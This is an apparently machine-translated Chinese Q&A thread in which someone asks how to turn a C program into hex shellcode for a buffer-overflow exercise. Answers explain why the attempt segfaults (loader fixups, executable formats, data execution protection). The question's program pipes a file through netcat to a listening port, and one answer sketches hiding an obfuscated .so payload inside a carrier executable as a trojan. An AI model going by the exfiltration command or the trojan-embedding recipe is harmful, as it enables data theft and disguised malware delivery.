如何将C代码转换为程序集的hex表示?

编辑:看来我有更多的阅读做…

另外,对于那些告诉我这是一个坏主意,这是一个缓冲区溢出演习。

我有一个相当简单的C程序:

int main() { system("cat file | nc -p 33 localhost 8080"); return 0; } 

我想把它变成hex汇编代码。 想像一下:

 \x55\x43\xff\x75\x13\x77... 

我试过了:

 gcc -o shell shell.c for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 

这给了我一个很好的hexstring。 但是当我在这个程序中testing它时,我得到了一个段错误。

 code = "\x55\x43\xff\x75\x13\x77..." int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } 

任何人都知道我可以如何工作? 谢谢! 另外,我不知道它是否重要,但它是一个64位系统。

在二进制代码从磁盘加载并执行的过程中,您会漏掉一大堆操作系统为您所做的工作。 例如:函数调用“system(char * command)”:在OS加载器“修复”指针之前,指向命令字符的指针是无效的。

如果你非常非常小心,你可以构建不依赖指针的代码,并且可以从OS加载器获得任何地址而不需要任何帮助。 这是如何创建堆栈溢出漏洞。 大多数现代CPU通过使用内存管理器将内存标记为“数据”或“代码”,并在程序尝试执行数据或写入代码时发生错误,从而防止运行此代码。

你正在试图做的,操作系统正在试图阻止。

这是行不通的。 主要原因是:你的编译器为你创建的不仅仅是简单的二进制代码,而且是一个可运行程序的一个定义良好的文件格式(在一个PE文件上,在一个ELF文件上的linux上)这个文件被动态链接器的操作系统和预处理(例如,链接到动态共享对象 ,读取库)之前,通过跳转到在文件的标题中以某种方式给出的入口点执行。 跳转到文件中的第一个字节是不可能执行的。 实际上,它是创建输出格式的链接器,但是它是由编译器自动调用的。

如果你只是想要汇编代码,使用gcc -S …你会得到助记符,可以被馈送到独立的汇编程序。

有办法欺骗链接器发出一个简单的二进制代码(请看这里有关如何使用它来生成一个MS-DOS .COM文件),但你仍然有问题,你的程序通常不会只包含文本 (读取,二进制代码执行),但也有数据,通常在.data段(只读)和.bss段(用于读写)。

除此之外,将二进制文件放置在c字符串中通常会将其放在.data段中。 虽然这可能是可执行的,但是从安全的角度来看,它不应该 – 看到数据执行保护 。

总而言之,忘记那个…

我不确定你想要达到什么目的,但如果我把我的黑帽子放一会儿…

如果您正在尝试编写堆栈溢出攻击,则需要了解目标CPU的内存管理器和细节。 你将严格处理CPU,完全绕开操作系统。

如果你正在编写一个特洛伊木马程序,你应该把你的有效载荷作为一个动态库(.so)进行编译,并将整个payload.so文件的十六进制编码到代码[]中。 然后,在载体程序中,将代码[]映射到虚拟文件(或者只是将其写入磁盘),并在(虚拟)文件上调用loadlibrary()。 你仍然不会成为根,但是你的有效载荷将被埋在第一个可执行文件中。 您可以对代码[]字节进行位混处理来模糊有效负载。 您还需要弄清楚如何在新创建的文件上设置可执行标志。

对于其中的任何一种,您都将对CPU和/或操作系统进行操作。